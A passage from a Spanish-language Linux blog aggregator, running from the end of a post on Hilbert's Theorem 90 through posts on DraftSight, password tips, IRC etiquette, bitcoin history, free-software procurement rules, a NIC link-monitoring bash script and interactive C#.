Por lo que las columnas generadas por $latex \mu_\alpha(1)=a+bi$ y $latex \mu_\alpha(i)=-b+ai$

por lo que 

$latex \mu^{*}_\alpha = \begin{pmatrix}a&-b\\b & a\end{pmatrix}$

Por lo que:


$latex N_{\mathbb{Q}(i)/\mathbb{Q})}(\alpha)=det(\mu^{*}_\alpha)=a^2+b^2$
$latex Tr_{\mathbb{Q}(i)/\mathbb{Q})}(\alpha)=Tr(\mu^{*}_\alpha)=2a$

Puedes notar que esta última norma, es la misma norma que utilizas en $latex \mathbb{C}$ , así es como formalmente se construyen las normas algebraicamente.

Todo listo para El teorema 90 de Hilbert y el ejemplo de la parametrización racional de la circunferencia.

Vamos a volver a enunciar el teorema y luego el corolario del ejemplo de parametrización con todos los ejemplos y lo anterior ya desarrollado.


Teorema 90 (David Hilbert)
Sea $latex L/K$ una extensión de campos cuyo grupo de Galois  $latex G:=Gal(L/K)=Aut_{K}(L) =\langle \sigma \rangle$ es cíclico y si $latex x\in L$ tiene norma $latex 1$, es decir $latex N_{L/K}(x)=1$ , entonces existe $latex y\in L$ con $latex x = \frac{\sigma(y)}{y}$


Corolario 90 
Considera la extensión de grado 2 $latex \mathbb{Q}(i)/\mathbb{Q}$  sabemos que es Galois y que tiene grupo  $latex G:=Gal(\mathbb{Q}(i)/\mathbb{Q})=Aut_{\mathbb{Q}}(\mathbb{Q}(i)) =\langle \psi \rangle=\lbrace id, \psi \rbrace$ (donde $latex \psi$ es la conjugación como ya la construimos anteriormente), tenemos que este grupos es cíclico y de 2 elementos, si $latex \alpha=x+yi\in \mathbb{Q}(i)$ es tal que $latex N_{\mathbb{Q}(i)/\mathbb{Q})}(\alpha)=1$ esto implica que $latex N_{\mathbb{Q}(i)/\mathbb{Q})}(\alpha)=x^2 + y^2 = 1$ por lo que existe $latex \beta=c-di \in \mathbb{Q}(i)$ tal que:
$latex \alpha = \frac{\psi(\beta)}{\beta}=\frac{c+di}{c-di}=\frac{c^2-d^2}{c^2+d^2}+i\frac{2cd}{c^2+d^2}$

Por lo que $latex (\frac{c^2-d^2}{c^2+d^2}, \frac{2cd}{c^2+d^2} )\in \mathbb{Q}\times\mathbb{Q}$ es la caracterización de los puntos de norma 1 (circulo en este caso) , usando teoría de Galois.

Puedes verificar que $latex \Big(\frac{c^2-d^2}{c^2+d^2}\Big)^2 + \Big(\frac{2cd}{c^2+d^2} \Big)^2 = 1$ por lo que si $latex c=1$ obtenemos la misma ecuación de parametrización que construimos anteriormente dada por $latex \Big(\frac{1-t^2}{1+t^2},\frac{2t}{1+t^2}\Big)$


Conclusión


El álgebra y la geometría son prácticamente lo mismo, un razonamiento puramente geométrico tiene respuesta algebraica,, de eso se encargó Alexander Grothendieck de formalizar, vimos que con teoría de Galois podemos llegar al mismo resultado geométrico.

No me dio tiempo de demostrar el teorema 90, pero tal vez pronto lo haga, no es tan difícil teniendo más herramientas a la mano que sólo para el que tenga curiosidad le podrá ser útil.



Eduardo Ruiz Duarte (beck)
twitter: @toorandom


Sábado 16 de abril de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – #LINUXMANR4

Draftsight sin menús y sin barras de herramientas

Después de la última actualización completa de mi instalación de Manjaro me encontré con un ligero problemita con Draftsight, me apareció sin menús y sin barras de herramientas tal y como pueden ver en la imagen.

Anteriormente tenía un problema de desempeño, el ratón se arrastraba sobre la pantalla del programa, al parecer era un problema con la configuración de la tarjeta de video nVidia pero todo parece indicar que eso quedó en el pasado.

Me gusta Draftsight porque es una buena alternativa a Autocad, tiene un buen desempeño en linux y abre hasta los formatos más actuales. Luego es un problema intentar abrir los archivos de autocad 2020 cuando tu te quedaste en la versión de estudiante, por citar tan sólo un ejemplo.

La solución en los foros

Encontré la solución que me funcionó en los mismos foros del programa Draftsight toolbar problem con la diferencia de que la ofrecen para el programa en su versión de Windows.

Así que solo tuve que deducir una solución similar para Linux. Busqué un directorio de configuración del programa en mi directorio home y encontré dos carpetas en el directorio .config

directorios draftsight

Para revisar que fuera seguro eliminarlas les cambié el nombre.

cambiando el nombre de las carpetas de draftsight

Cuando inicié nuevamente el programa ¡Tadaaaaaan! todos los menús y barras de herramientas estaban ahí.

draftsight con todos sus menúsTodo vuelve a la normalidad.

Así que pude eliminar las carpetas old sin mayores problemas.

Draftsight está disponible en AUR (Arch User Repository), para instalarlo en Manjaro solo hace falta recurrir al programa yaourt que se encarga de la descarga del programa y la instalación.

draftsight esta disponible en AUR.Draftsight está disponible en AUR.

Se que Draftsight no es libre, pero es gratuito y se ejecuta razonablemente bien en Linux. Si no están buscando todas esas funciones “sofisticadas” puede ser una buena opción para aprender algo de dibujo técnico sin tener que pagar una licencia de Autocad.

The post Draftsight sin menús y sin barras de herramientas appeared first on #LINUXMANR4.

Miércoles 13 de abril de 2016

Sobre contraseñas

Algunos consejos muy básicos sobre cómo crear una contraseña

Qué NO usar
1) fecha de nacimiento
2) Nombre
3) 1234
4) nombre de la novia(o), esposa(o)
5) palabras de diccionario
6) fecha de nacimiento
7) nombre de mascota
8) equipo favorito
9) personaje de ficción / fantasia favorito

Por lo tanto no usar ninguna de las cosas del 1-9, para resumir NO usar nombre, apellidos o aficiones. Para pronto nada de lo que platicamos con nuestros compañeros el primer día de clase o en el primer semestre.

Como crear una contraseña segura

2) Usar mnemónicos, por ejemplo la letra de una canción que me gusta, frase de algún personaje o dicho y tomar las primeras letras de esta, debe ser una idea que sea representativa para mi, es decir que me sea muy fácil de recordar, el cómo se construye no tanto cual es la contraseña, ejemplo: no hay mal que dure cien años = nhmqd100a
3) No usar una contraseña usar una frase para mayor longitud, siguiendo con el ejemplo anterior: NohaymalquedureCienAños

Por supuesto, se sugiere no usar ninguna de las contraseñas escritas aquí porque este texto ya se ha compartido en clase, conferencia e inumerables lugares durante largo tiempo, para completar las tiras obligatorias de xkcd.

security

Security

password_strength

Password Strength

Sugerencias de Microsoft
Sugerencias de Avast

Viernes 08 de abril de 2016

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

The man behind Linux

Ver en TedTalks

Jueves 07 de abril de 2016

César Yáñez Fernández

Two Positions for Software Developer Open

Position 1: Front End Developer in Guadalajara

Responsabilities

  • Design, develop, and maintain Google App Engine applications
  • Build high-performance, scalable web applications to serve business intelligence needs
  • Write well-documented, maintainable code
  • Create functional, easy-to-understand, usable user interfaces
  • Provide port for production issues related to data access and visualization
  • Collaborate with other teams to address users’ needs

Qualifications

  • Front-end web development experience including JavaScript, HTML, and CSS
  • Understanding of REST and other current approaches to web application development
  • Data visualization skills
  • Experience creating projects on Google Cloud Platform, including Google App Engine
  • Experience with D3.js, Ember Charts, Google Visualization API, or other JavaScript data visualization libraries
  • Experience with AngularJS
  • Knowledge of relational databases and non-relational data storage.

Position 2: Back End/Python Developer in Mexico City

Responsabilities

  • Design, develop, and maintain Google App Engine applications
  • Build high-performance, scalable web applications to serve business intelligence needs
  • Write well-documented, maintainable code
  • Create functional, easy-to-understand, usable user interfaces
  • Provide port for production issues related to data access and visualization
  • Collaborate with other teams to address users’ needs.

Qualifications

  • Python or Java programming experience
  • Understanding of REST and other current approaches to web application development
  • Data visualization skills
  • Experience creating projects on Google Cloud Platform, including Google App Engine;
  • Knowledge of relational databases and non-relational data storage.

Contact

If you have a projects portfolio with the source code available, please provide it in your résumé as to which position you are willing to apply.

You know the way to contact me for any questions or comments.

Miércoles 30 de marzo de 2016

Ayúdanos a ayudarte

Estimado compañero de chat:

Alguien te ha enviado a esta publicación porque consideró que necesitabas una guía para preguntar más eficazmente en nuestro canal de chat. No creas que no queremos ayudarte sino que hay ciertas explicaciones que nos toca repetir frecuentemente para facilitar la participación de los usuarios que nos visitan por primera vez o sólo ocasionalmente.

Antes, un poco de contexto

Por algún motivo algunos usuarios perciben el canal como un lugar dedicado al soporte, pero este no es el caso. Las recomendaciones que presentamos a continuación se comprenderán mejor si enfatizamos la distinción entre sala de charla y departamento de soporte:

En un departamento de soporte se pueden atender solicitudes en todo momento porque hay roles y horarios dedicados con sueldo a la atención al usuario. Directa o indirectamente, el usuario paga y mantiene ese soporte y por eso existe. Esto permite una atención expedita y personalizada. Son personas cuyo trabajo diario es guiar usuarios pacientemente a la resolución de problemas.

En cambio, el propósito de nuestro canal es la charla casual. El soporte es sólo uno de los diversos temas aceptables. Quienes platicamos somos profesionales como tú que no estamos dedicados al soporte. Esto significa que no estamos al pendiente de la ventana de chat. De repente encontrarás alguien al que le gusta dedicarse más al chat, pero aún es un voluntario.

Lo cierto es que procuramos ayudar cuando se puede. ¡Bienvenido!

Dicho lo anterior, permítenos hacerte algunas recomendaciones que te ayudarán a esquivar los patrones inconvenientes más comunes de los participantes nuevos y ocasionales. No pretendemos ofender; sólo buscamos poder ayudarte mientras nosotros continuamos con nuestro trabajo diario.

Entra con tiempo disponible

Para nosotros, es muy común revisar la pantalla de chat a eso a las 6:15 p. m. y ver lo siguiente:

[2:30p] * nuevo (~nuevo@example.net) se ha unido a #canal
[2:30p] <nuevo> hola
[2:33p] * nuevo se ha ido de #canal

A veces ocurre que nos damos cuenta casi 4 horas después de que un usuario nuevo entró y salió.

Comprendemos que es normal y humano que al ver un canal sin líneas de texto, se perciba como muerto y que es inútil preguntar. Sin embargo, esperar solamente 3 minutos antes de abandonar el canal no da ni siquiera oportunidad de ver el mensaje. Cuando estamos muy pocos fácilmente pueden pasar horas antes de que alguien vea un mensaje.

La realidad es que mientras hacemos nuestras labores diarias la ventana de chat está escondida. Las ventanas que usualmente tenemos activas son aquellas de nuestras herramientas de trabajo, no las de chat. Y si estamos en una reunión de trabajo, comiendo, durmiendo, cenando con nuestra familia, etc. nos es imposible enterarnos del chat.

En resumen, es poco probable estar viendo la pantalla de chat en el momento exacto en que un usuario entra.

Recuerda que para poder ayudar a alguien que tiene urgencia y prisa alguien tendrá que dejar de lado su actividad actual. La actitud de urgencia en usuarios nuevos es mal vista en IRC, porque significa que se menosprecia el tiempo de los demás participantes.

Usa un cliente de escritorio o aplica Pin en el navegador

Hemos notado que abandonar rápido el canal también se da porque es que latoso tener abierta una ventana de navegador. Incluso, es fácil cerrarla por accidente.

Por eso nosotros no usamos IRC a través del nevagador. En su lugar, usamos un cliente de IRC como XChat, irssi, BitchX, Chatzilla, Pidgin, Konversation, etc. Así, puedes dejar tu ventana de chat abierta en fondo. Además, estos clientes emiten una notificación cuando alguien te menciona y resalta esa línea para una fácil distinción visual.

Como alternativa, algunos navegadores soportan la función Pin. Esto evita que una pestaña de navegador se cierre por equivocación. Usualmente la encuentras haciendo clic derecho sobre la pestaña.

Pregunta directamente

Es muy común ver preguntas como esta:

<nuevo> ¿Alguien ha usado Audacity?
<voluntario> Hola nuevo. Yo lo uso más o menos.
<nuevo> Hola voluntario. ¿Por qué truena tanto?

Esto es mal visto. El usuario que más comúnmente hace esta pregunta busca un experto para resolver un problema complejo o necesita ser llevado de la mano hacia una respuesta. En ambos casos esto toma mucho tiempo. Precisamente, en el ejemplo, ambas preguntas hechas son vagas y no permiten llegar a ningún lado.

Estrictamente hablando, la respuesta es “no sé”. Causas puede haber muchas y cada una se resolvería por alguien con distinto perfil:

Causa Quién podría resolver Dificultad de diagnóstico
Compilación incorrecta Integrador o distribuidor Difícil
Falta de una librería Integrador o distribuidor Difícil
Falta de espacio en disco o RAM Tú mismo Fácil
Falta de red Tú mismo Fácil
Falla de hardware Tú mismo Difícil
Bug en el programa Autor del programa Difícil
Problema de permisos Según el caso Según el caso

Preguntar directamente permite que todo el canal vea tu pregunta completa desde tu primera intervención sin necesidad de que alguien te lleve de la mano.

Ejemplos de preguntas que difícilmente te van a llevar a algo (observa el uso de la palabra “alguien”):

  • “¿Hay alguien aquí que me pueda ayudar?”
  • “¿Alguien ha manejado X/Y/Z?”
  • “¿Alguien ha logrado compilar el kernel antes?”

Decíamos que estas preguntas son mal vistas: se distingue que el usuario espera un diálogo individual con algún voluntario para propósitos de soporte o incluso consultoría. Para que un voluntario te dedique tiempo él debe dejar alguna de sus actividades de lado. Aunque sin intención, el usuario está manifestando una falta de respeto al tiempo de otros. (Ver la sección Antes, un poco de contexto).

Lo más probable es que alguien ignore la pregunta, desafortunadamente, incluso cuando haya alguien que pueda ayudarte.

Y no es que no queramos apoyar o resolver dudas sin cobrar, sino que preferimos que las cosas ocurran de otra manera:

  • Que todos se enteren de tu pregunta desde el principio para que si alguien puede y quiere ayudar, así lo haga.
  • Que todos se enteren de la conversación completa, pues a todos nos sirve como experiencia.
  • Que todos se enteren de la solución.

Mejor, lanza tu pregunta directamente y de manera concreta y así la vemos todos desde el principio.

Haz la tarea antes de preguntar

Por hacer la tarea nos referimos a tu propia labor de búsqueda, investigación y estudio; incluso, a hacer el intento de que funcione lo que pretendes hacer.

Es muy común esto:

<nuevo> Hola. ¿Cómo cambio permisos en un archivo en Linux?

Hay decenas de páginas que ofrecen respuestas directas a esta pregunta. Están a una búsqueda de distancia. No necesitas de nuestra ayudar para ir a Google y buscar:

cambio de permisos en linux

Entonces la mayoría lo interpretará como que te dio flojera buscar.

Sin embargo, tal vez el problema no era que no hayas buscado y encontrado la información, sino que leíste y no sabes cómo hacer eso de “chmod” que todas las páginas mencionan. Entonces tu pregunta no fue conveniente. Mejor pregunta directamente y con contexto:

<nuevo> Hola. Quiero cambiar los permisos en un archivo pero
<nuevo> todas las páginas dicen algo de "chmod", pero ¿cómo hago eso?

Entonces sabemos que debemos guiarte a entrar a la Terminal.

O tal vez no entiendes lo de los permisos, lo del “664” y “ug=rw”. Entonces pregunta:

<nuevo> Hola. Quiero cambiar los permisos en un archivo pero
<nuevo> me está costando trabajo entender lo del "664" y el "ug=rw".

Hay muchas otras páginas que explican eso claramente, así que seguramente no te daremos un tutorial personalizado, pero sí una liga a una página que consideremos decente y clara. Léela. Lo que pasa es que no sabemos si no le entiendes a nada o si tienes una duda en específico.

La siguiente pregunta nos permite darte una respuesta concreta sin emplear mucho tiempo, al menos un sí o un no:

<nuevo> Hola. Me está costando trabajo entender lo del "664" y el
<nuevo> "ug=rw". En un canal me mandaron a esta página: http://.../
<nuevo> ¿Entonces 660 significa "ug=rwx"?

Esta pregunta nos da aún más contexto para ayudarte. No sabemos qué pasó en tu proceso de entendimiento, pero te podemos ayudar diciéndote que estás equivocado y que 660 equivale a ug=rw, no a ug=rwx.

Y con eso seguramente saldrán dudas muy específicas.Poco a poco irás corrigiendo y comprendiendo correctamente cómo funcionan los permisos. No es lo mismo que explicarte todo desde cero.

Sé paciente al esperar una respuesta

Una regla general en IRC es que sólo conteste quien sepa la respuesta, pueda ayudar, o dicho más generalmente, quien pueda y quiera contribuir con la conversación. Procuramos evitar dos situaciones en específico. La primera es generar ruido innecesario:

<nuevo> ¿Alguien sabe si Chromium tiene una opción para abrir URLs
<nuevo> desde la línea de comandos?
<voluntario2> No, sorry.
<voluntario3> Yo no sé.
<voluntario4> Nel.
<voluntario5> Yo no pero tal vez alguien más sepa.
<voluntario6> Usa --new-window. Es una opción no documentada.
<voluntario7> Ni yo.
<voluntario8> Ya somos 7 que no sabemos.

Visualmente se pierde la respuesta de voluntario6 entre tanto ruido para todos, incluso para quienes leen de golpe los últimos mensajes del canal.

La segunda, y más importante, es evitar que un “no sé” se malinterprete como “nadie sabe”:

<nuevo> ¿Alguien sabe si Chromium tiene una opción para abrir URLs
<nuevo> desde la línea de comandos?
<voluntario1> No, sorry.
<voluntario2> Yo no sé.
<nuevo> Bueno, muchas gracias de todos modos.
* nuevo se ha ido de #canal
<voluntario3> Usa --new-window... uhh, ya se fue.

Pregunta con contexto

Mencionábamos en la sección Pregunta directamente cómo las preguntas vagas no llevan a ningún lado debido a la amplitud de sus alcances.

Por eso, parte de preguntar en concreto es incluir brevemente el contexto de la pregunta. Por ejemplo:

<nuevo> Hola. Audacity me manda mucho el error
<nuevo> "Imposible escribir a archivo" y luego truena.
<voluntario1> nuevo, ¿ya revisaste que tu disco duro tenga espacio?
<voluntario2> nuevo, ¿no tienes problemas de permisos?
<voluntario3> nuevo, ¿con qué usuario lo estás ejecutando?

El mensaje de error, además de dar un punto de partida, ofrece una idea de por dónde comenzar a atacar el problema.

Respeta el tema del canal

¿Entrarías a un canal de leyes preguntando sobre ingeniería de aviones? No. De la misma manera, nuestro canal tiene un tema central.

Un truco: en el espacio de texto por donde hablas puedes mandar el texto /topic (con diagonal al inicio). El canal de chat te va a contestar inmediatamente con el tema del canal. A veces ahí ponemos avisos y ligas a páginas útiles que contestan preguntas frecuentes.

Conclusión

Todos hemos sido usuarios nuevos y hemos pasado por lo mismo. Los voluntarios del canal no sólo tenemos identificados estos patrones de comportamiento sino que comprendemos por qué suceden. Todos fuimos usuarios nuevos alguna vez y hemos pasado por lo mismo. Ahora que somos un poco más experimentados observamos que nuestros errores se repiten en otros usuarios nuevos. Es simplemente que juzgar a partir de la evaluación de condiciones inmediatas simplemente forma parte de nuestra evolución como seres humanos.

Gracias por leer hasta aquí, sinceramente, y de nuevo, bienvenido a nuestro canal.

Martes 15 de marzo de 2016

César Yáñez Fernández

Se regala Raspberry Pi

Características

Es un Raspberry Pi de primera generación, modelo B, con las siguientes características:

  • 1 Salida de Audio 3.5mm
  • 2 Puertos USB 2.0
  • 1 Puerto Ethernet 10/100
  • 1 Puerto de salida HDMI

El SoC es un BCM2835, con procesador 1 núcleo ARM1176JZFS con punto flotante, de 700MHz y 256MB de RAM.

Estado

Funciona correctamente, no tiene ningún daño a la vista.

Forma de Conseguirlo

Me pueden contactar por los medios habituales, el costo del envío fuera de CDMX va por su cuenta.

Lunes 07 de marzo de 2016

bitcoin

bitcoinLas 4:00 a.m., noviembre del año 2008, hace algo de frío, estoy terminando de checar unos paquetes para el sistema GNU/Linux Debian que tengo instalado en el servidor casero y algunas búsquedas en google, ya casi amanece y el sueño me esta venciendo, los parpados se me cierran, por lo que … un momento, estoy viendo la referencia de un proyecto open source, algo peculiar, veamos (click), se llama bitcoin, es una ¿cripto divisa?, ¿dinero a través de p2p?, hay que dormir un poco lo revisare en cuanto despierte …

Así fue como hace un tiempo me tope con el proyecto bitcoin, de esas veces que estas a punto de retirarte y de repente un destello a lo lejos se hace notar, al principio creí que podría ser una broma, dada la naturaleza de lo que trataba e implicaba, como soy un poco curioso, comencé a leer todo sobre lo que se hablaba en el foro, referencias, búsquedas en google, sucesos actuales (televisión) y documentales, etc.

Es interesante, dado que conforme crecemos, nadie habla sobre la naturaleza del dinero y los bancos, recuerdo que cuando oí del dinero, es en la materia de historia, en aquellos tiempos cuando la humanidad era joven, se realizaban principalmente trueques, una practica que actualmente sigue en algunas localidades del país o en otras culturas, después de ello ya no oyes hablar mas del dinero, al menos no en la escuela, hasta el momento de pagar la colegiatura o las cuentas.

Es algo curioso, por que todos utilizamos el dinero en nuestra vida diaria, quien no ha pensado que los bancos son como grandes cajas negras y aunque muchos creemos que hablar del dinero es algo sencillo …

La verdad, no lo es, el dinero su mecánica, es tan compleja que puede tardarse en entenderla, todos los factores que influyen, y aún así los mas experimentados en estos temas, comentan que es demasiado complejo, ni que decir de los bancos.

En ese entonces me pregunte, ¿porqué se crearía algo mas complejo?, ¿a caso no los inventos son para ayudarnos a ser mas óptimos y eficientes?, la complejidad en el dinero en lugar de ayudarnos, ¿acaso no nos perjudica?, es inevitable no leer todas las historias de conspiraciones que hay acerca del tema, y sobre como se relata en algunos casos de una élite que quiere seguir con el control del mundo a través del dinero, la deuda, etc.

Al involucrarme poco a poco, en el mundo del bitcoin, todos los días entraba al foro y leía los post que enviaba una persona con alias “Satoshi Nakamoto“, también leí el libro blanco (white paper), el cual habla sobre el funcionamiento de la cadena de bloques (blockchain) y el bitcoin, a lo cual me surgieron mas dudas, estas se disipaban conforme “Satoshi” daba respuesta a las dudas en el foro, así como yo, quienes también estaban en el foro le preguntaban y él contestaba a cada una de ellas o en su caso alguien mas respondía y si faltaban detalles “Satoshi” lo completaba.

Durante ese tiempo me toco ver cuando la cadena de bloques fue reiniciada dos veces, lo que implico que el bloque cero (génesis), fuera re-creado dos veces, por detalles que hubo con el software, aunque ya se tenia la red de prueba, donde existe una cadena de bloques alternativa para probar modificaciones o implementaciones nuevas al software de bitcoin (testnet).

En el foro también se bromeaba mucho sobre los calcetines de alpaca, con bitcoin se podría enviar dinero a cualquier persona en el mundo y comprar lo que se quisiera, la transferencia sería instantánea y dependiendo de algunos factores podría realizarse de manera gratuita sin costo en comisiones, ¿porqué no?, comprar unos calcetines de alpaca.

Y entonces, ¿que es bitcoin?.

Es un conjunto de tecnologías, que de igual forma como sucedió con la creación de “ajax“, solo era cuestión de ver como pueden funcionar juntas, bitcoin funciona principalmente por la cadena de bloques, que seria un gran libro, donde cada transacción de la red se almacena de manera pública y como su nombre lo dice en bloques, formando una cadena, ligando cada bloque o eslabón por el hash del bloque anterior, se juntan diversas tecnologías: de cifrado (curva elíptica), hash, base de datos, etc., seria la versión resumida, la versión larga esta en arameo y tardaría un poco mas en explicarla, no es tanto así, pero si se necesita un poco mas para detallar la forma técnica en la que funciona todo.

Características mas importantes en bitcoin:

  • Nuestro mundo, cuenta con recursos finitos, que al ser usados (transformados), pueden ya no encontrarse mas, un ejemplo de esto es el petróleo, el oro, etc., aunque estudios actuales muestran que hay mas oro en nuestro planeta, pero es complicada su extracción, también se sabe que existen en el universo planetas donde hay abundancia de algunos recursos, por ejemplo, en algunos hay oro, en otros diamante, etc., me pregunto que pasara con el costo cuando los viajes a otros planetas sea posible, en fin, en bitcoin, la cantidad de monedas es también finita, se estableció en el código fuente la cantidad total de bitcoin’s que existirán y serán solamente 21 Millones, no mas.
  • Es posible fraccionar un bitcoin hasta en 0.00000001.
  • Para usar bitcoin, no es necesario una entidad bancaria (banco), tu mismo eres tu propio banco y esto gracias también al cifrado (llaves asimétricas), lo que hace importante que no pierdas tu cartera (wallet) bitcoin, en ella es almacenada las llaves públicas y principalmente las privadas, utilizadas para poder usar los bitcoin que se tengan y reconocer nuevos depósitos.
  • Anónimo, es posible con bitcoin generar cantidad ilimitada de direcciones para deposito, las direcciones lucen de esta forma: 1GcGFudVLJ8PvM9eons31rXKW2MaqNyPoG, se ha encontrado actualmente que es posible rastrear, el uso de las direcciones, y es por ello que bitcoin ya no es considerado como totalmente anónimo, aún así, se considera que tiene un grado de anonimato.
  • Transferencias a todo el mundo, cuando se hace una transacción en bitcoin, este es validado por todos los nodos en la red, con ello se tiene la seguridad de una transacción correcta, por ejemplo, no se haga un doble gasto de fondos, así como también, se eliminan los altos costos de enviar dinero a alguien en algún lugar lejano, como por ejemplo, para comprar unos calcetines de alpaca, las comisiones por transacción pueden ser cero, muy económico en verdad.
  • No es necesario estar conectado a internet todo el tiempo, únicamente si se requiere enviar bitcoin’s, en el momento que se usa el cliente de bitcoin, comenzara a sincronizar la cadena de bloques hasta tener el bloque mas actual, con lo cual tendrá todas las transacciones que se han realizado en la red y por supuesto también que sean validas, cada cliente valida cada bloque de nuevo antes de agregarlo a su propia cadena, y gracias a la información contenida en nuestra cartera o (wallet) bitcoin, se reconocerán los fondos nuevos que se tengan, en el caso del envío no, es necesario estar conectado a internet para enviar la petición a los nodos y esta se replique hasta los mineros, que trabajan en la red para crear nuevos bloques.

Al paso de los días, veía un distanciamiento de “Satoshi”, y también los demás lo notaron, en ese entonces el comenzaba a ver y escribir en el foro sobre como y quien podría continuar con el proyecto, poco a poco “Satoshi” dejo de escribir cada vez mas hasta que fue nula su participación, el misterio que rodea al alias de “Satoshi”, es lo que mas llama la atención, en ningún momento se dio a conocer quien era en realidad.

Conforme paso el tiempo, muchas teorías se formularon alrededor de “Satoshi”, algunas personas comenzaron a investigar y tratar de dar con la identidad real de “Satoshi”, se llego o se piensa que puede no ser solo una persona, si no un grupo de personas, otra teoría hace pensar que pudiera ser “Satoshi” alguien del gobierno, etc., alguien del futuro, o incluso de otro planeta, es indudable que es un misterio la identidad de “Satoshi” y el como dejo esta nueva tecnología, lo que si es importante es que gracias a “Satoshi” se tiene una nueva tecnología que puede cambiar en gran forma el mundo.

Y el detalle es, que el gran invento es la cadena de bloques (blockchain) y bitcoin solo es una de las miles de aplicaciones que tiene esta nueva tecnología.

Actualmente mas personas utilizan bitcoin cada día, ha crecido mucho su uso, se utiliza principalmente como moneda complementaria, ¿quien sabe?, en un futuro sea solo la moneda que utilicemos, en la comunidad existen algunas discrepancias, como todo proyecto es necesario el consenso para la implementación de nuevas características, por ejemplo, el tema muy sonado estos días, el tamaño de los bloques, para lo cual se ha creado “Bitcoin Classic“, da una solución al problema de tamaño de los bloques, en lo que otras soluciones emergen.

En cuanto a la cadena de bloques, se pueden construir aplicaciones sobre ella o que la utilicen un ejemplo de esto es “ethereum“.

En mi caso estudio como trabajar con la cadena de bloques, para crear una aplicación que se llama “estresadito“, es un sistema administrativo para escuelas desde kinder hasta universidad, con la intensión de que se maneje tanto la información financiera y escolar (calificaciones) sobre la cadena de bloques, para hacer a la institución que la utilicé lo mas transparente posible y blindar la información para que no sea manipulada, en posteriores post hablaré de ella, así como otras mas en las que trabajo.

El futuro puede ser muy emocionante :-).

Lunes 29 de febrero de 2016

Rigoberto Calleja

Rigoberto Calleja
Apuntes de Rigoberto Calleja

Comité administrativo del PJF establece obligación de considerar soluciones de software libre o de fuente abierta

El pasado viernes 26 de febrero del presente año fue publicado, en la edición matutina el Diario Oficial de la Federación, un Acuerdo General del Comité Coordinador para Homologar Criterios en Materia Administrativa e Interinstitucional del Poder Judicial de la Federación. Éste órgano se encarga de establecer lineamientos que permitan unificar los criterios empleados para administrar los recursos asignados a la institución.

A través del instrumento normativo en cuestión se establecieron medidas de disciplina presupuestal para el ejercicio fiscal 2016. Dentro de éstas figura la obligación para las áreas correspondientes de la Suprema Corte de Justicia de la Nación, Consejo de la Judicatura Federal y Tribunal Electoral del Poder Judicial de la Federación, en materia de adquisición de sistemas de información, de realizar un estudio de factibilidad para determinar la conveniencia de adquirir o arrendar bienes o contratar servicios. Para ello, deberán tomar en cuenta tanto soluciones comerciales como aquéllas basadas en software libre o de fuente abierta:

CAPÍTULO CUARTO

DE LAS MEDIDAS DE RACIONALIDAD, DISCIPLINA PRESUPUESTAL Y MODERNIZACIÓN DE LA GESTIÓN DE LOS ÓRGANOS DEL PODER JUDICIAL EN EL ÁMBITO DE SUS RESPECTIVAS COMPETENCIAS

DÉCIMO NOVENO.- Los Órganos del Poder Judicial promoverán de manera específica las siguientes acciones.

[…]

EN MATERIA DE TECNOLOGÍAS DE INFORMACIÓN Y COMUNICACIÓN (TIC’S):

[…]

Para la contratación en materia de TIC´s o desarrollo de sistemas informáticos, se realizará un estudio de factibilidad a efecto de determinar la conveniencia de adquirir o arrendar bienes o, en su caso, contratar servicios, el cual deberá comprender, entre otros elementos, los siguientes:

a) El análisis de las contrataciones vigentes y, en su caso, la determinación de la procedencia de su renovación;

b) La pertinencia de realizar contrataciones consolidadas, y

c) Los costos de mantenimiento, soporte y operación que impliquen la contratación, vinculados con el factor de temporalidad más adecuado para determinar la conveniencia de adquirir, arrendar o contratar servicios.

d) En el caso de contrataciones de software, se considerarán tanto soluciones comerciales, como software libre o código abierto, para lo cual evaluarán aquella opción que represente las mejores condiciones en cuanto a uso, costo, riesgo, beneficio e impacto.

Miércoles 24 de febrero de 2016

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

#QuickTip: Script para monitorear link en nic

Terminal-icon

Problema: Se tiene un par de servidores conectados mediante un cable de red de forma directa, se requiere monitorear cualquier cambio del estado del link en cada nic, para asegurar la conectividad de un servicio de balanceo de carga.

Solución: Crear un script, en cada nodo, que monitore el cambio del estado del link y envíe notificación al log común del sistema

 

Script:

[root@server ~]# cat conn.sh 
#!/bin/bash

NIC=eth0
TIME=$(date +"%b %d %T")
HOST=$(hostname -s)
LOG=/var/log/messages

cat /sys/class/net/$NIC/carrier > /dev/null 2>&1

if [ $? = 0 ]; then
 echo "$TIME $HOST link[OK]: tengo link en $NIC" >> $LOG 
else
 echo "$TIME $HOST link[NOK]: NO tengo link en $NIC" >> $LOG 
fi 
[root@server ~]#

Lo ejecutamos para validar que se registre de forma correcta:

[root@server ~]# ./conn.sh 
[root@server ~]# tail -1 /var/log/messages
Feb 23 22:00:29 server link[OK]: tengo link en eth0
[root@server ~]#

Modificamos la variable NIC (eth1) para comprobar que registre correctamente el cambio de estado:

[root@server ~]# ./conn.sh 
[root@server ~]# tail -1 /var/log/messages
Feb 23 22:03:19 server link[NOK]: NO tengo link en eth1
[root@server ~]#

Como únicamente queremos que registre cuando la nic pierde el link, modificamos esta línea:

echo "$TIME $HOST link[OK]: tengo link en $NIC" >> $LOG

Quedando como:

echo "" > /dev/null 2>&1

Al ejecutarlo, si la nic tiene link, no se registrará en el log:

[root@server ~]# ./conn.sh 
[root@server ~]# tail -1 /var/log/messages
Feb 23 22:03:19 server link[NOK]: NO tengo link en eth1
[root@server ~]#

Configuramos cron para que se ejecute el script cada minuto:

* * * * * /root/conn.sh

Espero les sirva…

Domingo 21 de febrero de 2016

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

OpenStack PoC usando Packstack

Registrate




Packstack es una herramienta para realizar instalaciones de prueba de concepto para OpenStack basada en Puppet y Python.


En esta plática analizaremos su funcionamiento, desarrollo e impacto en la comunidad de OpenStack.

Jueves 18 de febrero de 2016

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

The Evolution of Interactive C#

The Early Days

Years ago, in 2008 we introduced an interactive C# shell, at the time a challenge was to adjust the syntax to be suitable for interactive use, to provide a usable decent command line editing API for .NET and to turn our compiler as a service into a tool that could provide code completion.

A few months later, we added a UI shell for this on Linux and used Gtk's text widget to add support for embedding rich content into the responses. It was able to render images inline with the responses:

This was inspired at the time by the work that Owen Taylor at Red Hat had done on Re-interact. You can still watch a screencast of what it looked like.

Like Owen, I added a plot command:

